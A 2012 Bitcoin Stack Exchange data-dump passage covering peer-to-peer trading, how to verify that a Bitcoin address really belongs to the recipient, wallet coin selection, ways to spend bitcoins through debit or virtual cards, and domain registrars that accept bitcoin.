  <row Id="3207" PostTypeId="1" CreationDate="2012-03-18T00:38:32.913" Score="8" ViewCount="469" Body="&lt;p&gt;It is possible to build a peer-to-peer (similar to BitTorrent) system to trade Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, the discussion pointed in the 1st answer is very similar to what I have in mind. But, I have some sub-questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any possibility to &lt;strong&gt;use blockchains&lt;/strong&gt; transactions system to &lt;strong&gt;have some &quot;cash&lt;/strong&gt; on demand&quot; to &lt;strong&gt;use in trades transactions&lt;/strong&gt;(maybe with some taxs like fee transactions)? And &lt;strong&gt;blockchains can carry more information&lt;/strong&gt; about what is going on inside this or others sub-systems?&lt;/li&gt;&#xA;&lt;li&gt;The idea here behind the word &quot;&lt;em&gt;trade&lt;/em&gt;&quot; is some system, that allows you to &lt;strong&gt;trade your bitcoins for any other currencys or other virtual currencys&lt;/strong&gt; in &lt;strong&gt;&lt;em&gt;any connected market&lt;/em&gt;&lt;/strong&gt; around the world, by simple configuring a new &quot;&lt;em&gt;node&lt;/em&gt;&quot; for that market.&lt;/li&gt;&#xA;&lt;li&gt;ok. More obvius question. How? (&lt;em&gt;1 for me looks like a good idea&lt;/em&gt;.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="491" LastEditorUserId="491" LastEditDate="2012-03-18T16:57:37.307" LastActivityDate="2014-02-14T11:33:58.173" Title="It is possible to build a P2P system to trade Bitcoins?" Tags="|alternatives|trading|trade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3208" PostTypeId="2" ParentId="3207" CreationDate="2012-03-18T01:47:20.117" Score="3" Body="&lt;p&gt;I think the answer to this question is currently unknown.  There's currently an &lt;a href=&quot;https://bitcointalk.org/index.php?topic=62879&quot; rel=&quot;nofollow&quot;&gt;ongoing discussion&lt;/a&gt; about it on the &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;bitcointalk forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll update this answer if anything comes of it.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-18T01:47:20.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3209" PostTypeId="2" ParentId="2972" CreationDate="2012-03-18T05:30:59.940" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.spendbitcoins.com/buy/&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/buy/&lt;/a&gt; - You can deposit at any NAB, Commonwealth Bank, Westpac or ANZ bank across australia&lt;/p&gt;&#xA;" OwnerUserId="1183" LastEditorUserId="1183" LastEditDate="2012-04-18T22:24:42.277" LastActivityDate="2012-04-18T22:24:42.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3210" PostTypeId="1" AcceptedAnswerId="3219" CreationDate="2012-03-18T17:34:52.513" Score="5" ViewCount="383" Body="&lt;p&gt;Let's say Alice wants to send Bob some coins. Bob needs to tell Alice where to send them, so he sends his address to Alice. How does Bob send this address so that Alice knows that the address she is receiving is indeed Bob's address and not an Eve's (an eavesdropper) who wants to steal the coins?&lt;/p&gt;&#xA;" OwnerUserId="1185" LastActivityDate="2012-03-19T16:04:42.563" Title="How does Alice know she is receiving the correct address?" Tags="|client|security|address|sending|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3211" PostTypeId="2" ParentId="3210" CreationDate="2012-03-18T17:58:53.893" Score="3" Body="&lt;p&gt;Bitcoin doesn't currently provide any protection against that. Alice and Bob will need to make sure that their communication channel is secure.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-03-18T17:58:53.893" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3212" PostTypeId="2" ParentId="3210" CreationDate="2012-03-18T21:07:35.837" Score="1" Body="&lt;p&gt;The #bitcoin-otc marketplace uses GPG authentication to protect against this very situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because irc nicknames are vulnerable to manipulation, the task of first authenticating with the channel's bot helps to ensure that the communications are truly from the intended trading partner.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&quot; rel=&quot;nofollow&quot;&gt;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is just one method to address this subject.  There are many options.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-18T21:07:35.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3213" PostTypeId="1" AcceptedAnswerId="3217" CreationDate="2012-03-18T22:09:31.940" Score="5" ViewCount="4226" Body="&lt;p&gt;I don't have any bitcoins yet, but I have the the wallet program called bitcoin-qt. I am wondering about the send feature. It does not seem to let me choose which address to deduct the coins from. How does that work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have 5 addresses and one coin in each and I want to send 5 coins. Does it automatically take 1 coin from each of the addresses? What if I want to take coins only from specific addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually now looking at it more closely it doesn't even show which address contains coins and which one doesn't. Isn't this a bit oversimplified? &lt;/p&gt;&#xA;" OwnerUserId="1179" LastActivityDate="2013-11-24T18:34:24.480" Title="Bitcoin-qt -how does it choose the address to take money from when sending btcs" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3214" PostTypeId="1" AcceptedAnswerId="3215" CreationDate="2012-03-18T22:20:38.717" Score="2" ViewCount="787" Body="&lt;p&gt;Is the sender's address the only way to identify the seller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see how this would work for a large websites that accept bitcoins. Since all of the transactions are visible, anyone can claim address x is theirs and that they sent the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the only way would be to generate a new address for each transaction? Seems messy and hard to keep track of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I though I'd add another question since I mentioned large websites. Would it be possible to automatically notify the server when a payment arrives? I'm talking about something like paypal's IPN system. So that everything would be automated. If the person buys a subscription for example, then upon payment confirmation it gets activated automatically.&lt;/p&gt;&#xA;" OwnerUserId="1179" LastActivityDate="2012-03-18T23:17:17.280" Title="Identifying sender" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3215" PostTypeId="2" ParentId="3214" CreationDate="2012-03-18T23:17:17.280" Score="3" Body="&lt;p&gt;There is nothing messy or difficult to keep track of about generating a new address for each transaction. Generating an address is a very cheap operation and you can generate thousands of them in advance if you want. The way Bitcoin is designed, there is no different between using the same address for multiple transactions or using a new address for each transaction. It makes no difference to the system at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think the Bitcoin system should have permitted you to put an identifier in the transaction. 16-bits would have been sufficient.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-03-18T23:17:17.280" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3217" PostTypeId="2" ParentId="3213" CreationDate="2012-03-19T06:01:51.277" Score="4" Body="&lt;p&gt;Addresses are not accounts. The quantity of coins in a given address is usually meaningless, and only in specialized circumstances there exists a reason to choose a particular address to send from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your first Bitcoin transaction ever was receiving 100 BTC, and then you sent 1 BTC, the balance of your receiving address will be 0, because the other 99 BTC will be sent to a new change address which you've never seen. Also, the &quot;total balance&quot; of an address is an abstraction on top of the collection of unspent outputs to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin client chooses which outputs to use for sending with some algorithm designed to make the transaction as simple as possible (See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/&quot;&gt;What is the coin selection algorithm?&lt;/a&gt; for discussion of the algorithm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin command line (but not the GUI) supports accounts, which are an internal abstraction not recognized by the network. In addition you can use multiple wallet files, and Armory supports this with the GUI.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-03-19T06:12:25.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3218" PostTypeId="2" ParentId="3213" CreationDate="2012-03-19T06:20:17.260" Score="5" Body="&lt;p&gt;There's a patch awaiting merging into the Satoshi client which allows you to see the balance on each address and pick which address(es) you want to pay from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://coderrr.wordpress.com/2011/06/30/patching-the-bitcoin-client-to-make-it-more-anonymous/&quot;&gt;here&lt;/a&gt; for more description and a video of it in action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of people have been showing their support for this feature by posting &quot;+1&quot; comments on the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/415&quot;&gt;pull request&lt;/a&gt; despite requests that they stop doing so.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-19T06:20:17.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3219" PostTypeId="2" ParentId="3210" CreationDate="2012-03-19T11:14:09.983" Score="4" Body="&lt;p&gt;The problem itself is not Bitcoin-specific per se. It's a matter of being able to verify the sender of some data. Bitcoin addresses are only designed to be immune to typos (they contain a checksum), but otherwise the protocol does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can, however, do a couple things to make sure a proper address is sent and received:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One can use a vanity address that is hard to generate and clearly is related to the situation. Using 1Bob... would not be the best choice, but 1BobEveryman..., or 1ThankYouAlice... can be better (examples chosen for clarity, normally you'd be using base 58 alphabet). Generally, if it takes more than a couple minutes to generate an address you know it either came from the original sender, or someone deliberately wanted to steal Bob's identity (by spending a lot of time beforehand generating the address).&lt;/li&gt;&#xA;&lt;li&gt;One can try checking the history of the address in the &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Block Explorer&lt;/a&gt;. If the address has been used a couple times, it is less likely it will be fake. Being Eve I probably wouldn't want to use the same address for scamming people more than once, and generating a history of transactions would take some time.&lt;/li&gt;&#xA;&lt;li&gt;One can ask Bob to provide his Bitcoin address wrapped in Bob's digital signature. The main problem with this is securing Bob's signature in the first place, which is basically the same problem as we are solving right now.&lt;/li&gt;&#xA;&lt;li&gt;One can look for address received on the internet. A lot of people have a habit of including the Bitcoin address they use in places like forum signatures, their websites and the like.&lt;/li&gt;&#xA;&lt;li&gt;If Alice knows Bob, they might decide on using some information only they would know to create an ECDSA keypair and use that for transmitting Bitcoins. Such information might be for example be the movie they saw when they first met, some information from the school they attended and so forth. Generally, something that they remember and would be hard to find out. Alice can use that as the private seed of the keypair, generate the public address to send the Bitcoins to, and make the transfer. Bob then would have to repeat the same process and withdraw Bitcoins on their end. The main problem with this approach is whether Bob an Alice know each other beforehand and trust themselves with handling private keys.&lt;/li&gt;&#xA;&lt;li&gt;When all else fails, one can always meet Bob in person and get their address that way.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in all, there are many ways to prevent a man in the middle attack in the descried scenario.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="61" LastEditDate="2012-03-19T13:08:43.707" LastActivityDate="2012-03-19T13:08:43.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3220" PostTypeId="2" ParentId="3210" CreationDate="2012-03-19T16:04:42.563" Score="1" Body="&lt;p&gt;If Alice met Bob through his website, &lt;a href=&quot;https://bobbysox.com/&quot; rel=&quot;nofollow&quot;&gt;https://bobbysox.com/&lt;/a&gt;, then she can be pretty sure that the address Bob displays on his site is real, so long as Bob's SSL certificate is verified successfully.  For Eve to play woman-in-the-middle she would have to somehow get hold of a certificate for bobbysox.com, or Alice's browser will alert her to the fact that there's a problem with the secure connection.  (Whether Alice takes any notice is another matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's often how Bitcoin addresses are passed from merchant to buyer, via secure socket layer web connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: interestingly, when I click on that link I just made up, I see a warning: &quot;The site's security certificate is not trusted!&quot;&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-19T16:04:42.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3221" PostTypeId="1" CreationDate="2012-03-19T16:23:32.090" Score="-3" ViewCount="691" Body="&lt;p&gt;I have some bitcoins which I want to use for payments in the &quot;usual&quot; shops around me (not accepting bitcoins, but accepting plastic cards), and in a quicker way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, I used &lt;a href=&quot;http://metabank.ru&quot; rel=&quot;nofollow&quot;&gt;http://metabank.ru&lt;/a&gt; to transfer the money to my cards (they used to promise max. 48 hours delay, but often it happened faster), but now the transfers from Mt.Gox (done by metabank.ru) &lt;a href=&quot;https://metabank.ru/delay&quot; rel=&quot;nofollow&quot;&gt;take longer&lt;/a&gt; (and the delay is not predictable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there quicker ways to use the bitcoins for payments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to know that in case I need to pay for something, there is a way with a predictable short delay to use the bitcoins. For example, the delay before 6 confirmations for a transaction is not so long and predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can I load a plastic card with bitcoins or buy a &quot;virtual&quot; (&quot;digital&quot;) card, and wait a predicatble short period of time before the money is available?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm located in Russia, so primarily I'm looking for cards that I can use in Russia, but the question is intended to be more general.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will the commissions and exchange rates be for the ways suggested in the answers? What the delay will be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I trust the service suggested in an answer? Are there any experience reports about these services?&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2012-03-19T16:48:14.493" LastActivityDate="2020-04-28T15:19:36.167" Title="What are the quicker ways to use my bitcoins for paying in usual shops (off- or online)?" Tags="|exchanges|banks|visa|payment|" AnswerCount="3" CommentCount="1" ClosedDate="2020-05-06T08:15:22.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="3222" PostTypeId="2" ParentId="3221" CreationDate="2012-03-19T16:33:54.540" Score="1" Body="&lt;h2&gt;physical debit cards&lt;/h2&gt;&#xA;&lt;h3&gt;bitcoindebit&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoindebit.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoindebit.net&lt;/a&gt; offers a physical debit card for your bitcoins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;One stores bitcoins in his account, and they are spent when one uses the card. (The account is in bitcoins.)&lt;/p&gt;&#xA;&lt;p&gt;So, &lt;strong&gt;one time you will have to wait before their plastic card arrives&lt;/strong&gt;, and then either deposit a larger amount of bitcoins to your account and spend them instantaneously at shops, or transfer your bitcoins to your account whenever you need to spend them, and probably wait for the not-so-long delay before the standard 6 confirmations of the bitcoin network (or the like).&lt;/p&gt;&#xA;&lt;p&gt;(&lt;strong&gt;Open questions:&lt;/strong&gt; What exchange rate is used then? Will there be a commission for using the card for payments in shops in Russia? What will the exchange rate from USD to Russian rubles be? Are there any experience reports about this service?)&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure they ship cards internationally... (&lt;a href=&quot;http://www.bitcoindebit.net/order.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bitcoindebit.net/order.php&lt;/a&gt; expects only addresses in the U.S.)&lt;/p&gt;&#xA;&lt;h3&gt;OkPay&lt;/h3&gt;&#xA;&lt;p&gt;You can open a wallet at &lt;a href=&quot;http://okpay.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://okpay.com&lt;/a&gt;, and load it with bitcoins (Mt.Gox rate with 3% commission), order their plastic card and use it. (The wallet is in USD, or EUR, or RUR, i.e. not in bitcoins, the bitcoins are exchanged at the moment of deposit.)&lt;/p&gt;&#xA;&lt;p&gt;There is a one-time delay for the delivery of the plastic card (and your ID and address confirmation).&lt;/p&gt;&#xA;&lt;strong&gt;Other withdrawal methods from OkPay:&lt;/strong&gt;&#xA;&lt;p&gt;Also, perhaps, it's possible to transfer from OkPay through Contact electronic money transfers to one of your existing plastic cards (I hope it's quick). (Even though my TCS bank has such &lt;a href=&quot;http://www.tcsbank.ru/deposit/opening-deposit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;an instantaneous reloading method (through Contact)&lt;/a&gt; and OkPay has such a withdrawal method, it seems not be possible to transfer directly from OkPay to the bank account via Contact without coming to an office and receiving cash first from OkPay, and then depositing it again. So, it's not very convenient.)&lt;/p&gt;&#xA;&lt;p&gt;Also it's possible to transfer the money from OkPay to another system like Qiwi (which would allow to load my bank's card instantaneously) through an exchange like &lt;a href=&quot;http://cash4wm.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cash4wm.com&lt;/a&gt; (it has quite many bad reviews though &lt;a href=&quot;http://magnetic-money.ru/obmennik_86.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 (in Russian)&lt;/a&gt;, &lt;a href=&quot;http://mmgp.ru/showthread.php?t=82708&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 (in Russian)&lt;/a&gt;, &lt;a href=&quot;http://www.master-x.com/forum/topics/154341/&quot; rel=&quot;nofollow noreferrer&quot;&gt;3 (in Russian)&lt;/a&gt;; still, it worked for me for a small amount of money. I couldn't find other OkPay-&amp;gt;Qiwi transfer services.)&lt;/p&gt;&#xA;&lt;p&gt;(And there are experience reports with OkPay: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=62439.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 (in Russian)&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;h3&gt;AurumXchange&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.aurumxchange.com/help/knowledgebase.php?article=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;AurumXchange&lt;/a&gt; (a service often mentioned together with bitcoin) offers debit cards (but one cannot pay directly with bitcoins to load them, one has to trade somewhere else to exchange bitcoins into some USD-like e-currency):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;At this time we offer our Instant Load AurumXchange MasterCard for&#xA;free to our premium members. The card is &lt;strong&gt;shipped worldwide&lt;/strong&gt; for free by&#xA;regular airmail, and for those users wanting a speedier delivery,&#xA;there are shipping upgrade options for an additional fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, there is a &lt;strong&gt;one time delivery delay&lt;/strong&gt; before you can use the card.&lt;/p&gt;&#xA;&lt;h3&gt;Western Union prepaid cards&lt;/h3&gt;&#xA;&lt;p&gt;In &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48051.0;all&quot; rel=&quot;nofollow noreferrer&quot;&gt;a thread at bitcointalk.org&lt;/a&gt;, they suggest to load a Western Union prepaid card with bitcoins through &lt;a href=&quot;http://cheaperinbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cheaperinbitcoins.com&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So you will have to &lt;strong&gt;wait one time for the delivery of the WU plastic card&lt;/strong&gt;, and then you could load it with bitcoins whenever you need this.&lt;/p&gt;&#xA;&lt;p&gt;But &lt;a href=&quot;http://cheaperinbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cheaperinbitcoins.com&lt;/a&gt; doesn't seem to work anymore.&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-03-21T17:13:25.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3224" PostTypeId="2" ParentId="3221" CreationDate="2012-03-19T16:47:10.577" Score="1" Body="&lt;p&gt;There are several services offering to buy a &lt;strong&gt;digital card&lt;/strong&gt; for bitcoins (listed in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50320.msg702694#msg702694&quot; rel=&quot;nofollow&quot;&gt;a comment at bitcointalk&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.btcinstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.btcinstant.com&lt;/a&gt;: offers digital cards with different prepaid values; each card can be used only at a single merchant (specified when ordering the card);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcashretail.com/visa.php&quot; rel=&quot;nofollow&quot;&gt;http://bitcashretail.com/visa.php&lt;/a&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Visa For Bitcoins BitCashLotto.com accepts Bitcoins for a &lt;strong&gt;digital Visa&#xA;  card&lt;/strong&gt;! These are a great way to convert your Bitcoins into cash you can&#xA;  use today! &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We will provovide you a digital Visa card for the spot price of Mtgox&#xA;  for a Bitcoin equivalent of a $7usd service charge. Available to&#xA;  registed users only! Buy a $25USD valued card below:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is very little information about this offer. And there is no contact information at their website! Are there any experience reports?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(&lt;a href=&quot;http://bitcoincashout.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincashout.com&lt;/a&gt;: seems permanently out of stock)&lt;/li&gt;&#xA;&lt;li&gt;(&lt;a href=&quot;http://bitporium.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitporium.com/&lt;/a&gt;: no such offers any more)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since it's a digital card, there is probably &lt;strong&gt;no delivery delay&lt;/strong&gt; involved in this solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And I can use the digital card at online shops, and also I can probably load another plastic card of mine paying with that virtual card, through a payment service like &lt;a href=&quot;http://qiwi.ru&quot; rel=&quot;nofollow&quot;&gt;http://qiwi.ru&lt;/a&gt;, though there might be problems, because they do more verification for a card: they block a random amount, and ask to report that amount.)&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2012-03-21T12:46:11.777" LastActivityDate="2012-03-21T12:46:11.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3226" PostTypeId="2" ParentId="3221" CreationDate="2012-03-19T17:05:58.150" Score="1" Body="&lt;p&gt;You can find a less automated exchange (like &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50267.0&quot; rel=&quot;nofollow&quot;&gt;that one (in Russian)&lt;/a&gt;) and negotiate a transfer to WebMoney, and a WebMoney account can be associated with a &lt;a href=&quot;http://qiwi.ru&quot; rel=&quot;nofollow&quot;&gt;Qiwi&lt;/a&gt; account, and you can reload your plastic cards through Qiwi. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The reloading of one of my cards, issued by Tinkoff Credit Systems bank, through Qiwi is instantaneous. So, there can remain delay with the exchange to WebMoney, and with negotiating the exchange with the person running the exchange, since it's not automated..)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Another similar exchange to WebMoney: &lt;a href=&quot;http://www.btcwm.ru/?p=1#comments&quot; rel=&quot;nofollow&quot;&gt;http://www.btcwm.ru/?p=1#comments&lt;/a&gt; (in Russian; at work days from 8-00 till 17-00)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=24441.0&quot; rel=&quot;nofollow&quot;&gt;One more (in Russian)&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2012-03-19T17:31:30.007" LastActivityDate="2012-03-19T17:31:30.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3228" PostTypeId="1" AcceptedAnswerId="3270" CreationDate="2012-03-19T18:39:28.877" Score="11" ViewCount="3044" Body="&lt;p&gt;I keep seeing references to destroying bitcoins by sending them to addresses that nobody can own (e.g., addresses derived from impossible public keys). What would be the reason for doing this? It's discussed in such a cavalier manner in various posts that I'm assuming it's not an attempt to undermine the currency.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="5406" LastEditDate="2014-06-17T12:43:29.150" LastActivityDate="2016-02-13T14:23:27.317" Title="Why destroy bitcoins?" Tags="|economic-theory|destroy-bitcoins|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3229" PostTypeId="1" CreationDate="2012-03-19T18:43:49.387" Score="15" ViewCount="12235" Body="&lt;p&gt;Where can I register a domain name and pay with bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The question is about usual domain names, not .bit maintained by the namecoin network.)&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="2650" LastEditDate="2013-03-11T15:45:49.683" LastActivityDate="2020-12-10T21:48:37.260" Title="Where can I register a domain and pay with bitcoins?" Tags="|services|websites|payment|domain-registering|" AnswerCount="5" CommentCount="1" ClosedDate="2015-07-17T16:26:36.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="3230" PostTypeId="1" CreationDate="2012-03-19T18:48:58.227" Score="-1" ViewCount="1791" Body="&lt;p&gt;Where can I register a .RU domain and pay with bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There are &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3229/817&quot;&gt;several services offering the registration of &quot;international&quot; domains&lt;/a&gt; and accepting bitcoin payments, but what about .RU domain?)&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-01-21T11:02:30.003" Title="Where can I register a .RU domain and pay with bitcoins?" Tags="|services|payment|domain-registering|" AnswerCount="2" CommentCount="4" ClosedDate="2016-09-15T09:36:32.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="3231" PostTypeId="2" ParentId="3229" CreationDate="2012-03-19T18:57:08.230" Score="11" Body="&lt;p&gt;Note that all services need to be checked by you somehow to decide whether you can trust them!&lt;/p&gt;&#xA;&lt;p&gt;There is a list of such services at &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&lt;/a&gt;; for example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.domains4bitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domains4bitcoins.com&lt;/a&gt; (com, net, org, co, co.uk, in, biz, us, eu, mobi, asia, name, tel, co.in, tv, me, info, ws, bz, cc, org.uk, me.uk, net.in, org.in, ind.in, firm.in, gen.in, mn, us.com, eu.com, uk.com, uk.net, gb.com, gb.net, de.com, cn.com, qc.com, kr.com, ae.org, br.com, hu.com, jpn.com, no.com, ru.com, sa.com, se.com, se.net, uy.com, za.com, gr.com, co.nz, net.nz, org.nz, com.co, net.co, nom.co, ca, de, es, com.au, net.au, xxx)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitdomain.biz&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitdomain.biz&lt;/a&gt; (biz, com, com, org, info, us, eu, in, mobi, asia, name, tel, tv, me, ws, bz, cc, mn, ca, de, es, com.au, net.au, xxx)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cinfu.com/domains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cinfu.com/domains/&lt;/a&gt; (com, net, org, biz, info, eu, in, us, de, ru, es, asia, bz, ca, cc, co, mn, mobi, name, me, tel, tv, xxx, *.uk, ws, la, tw, cn, ac, io, sh, nu, be, tc, vg, ms, gs, jp, at, am and more 2nd level domain)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.exoware.net/domainregistration.xhtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.exoware.net/domainregistration.xhtml&lt;/a&gt; (com, eu, me, org, me.uk, de, es, co.uk, net, name, info, org.uk, cc, tel, ca, biz, tv, co)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kalyhost.com/domain.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kalyhost.com/domain.html&lt;/a&gt; (many different top-level domains&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://clients.microtronix-tech.com/domainchecker.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://clients.microtronix-tech.com/domainchecker.php&lt;/a&gt; (not so many top-level domains)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://secure.orangewebsite.com/cart.php?a=add&amp;amp;domain=register&quot; rel=&quot;nofollow 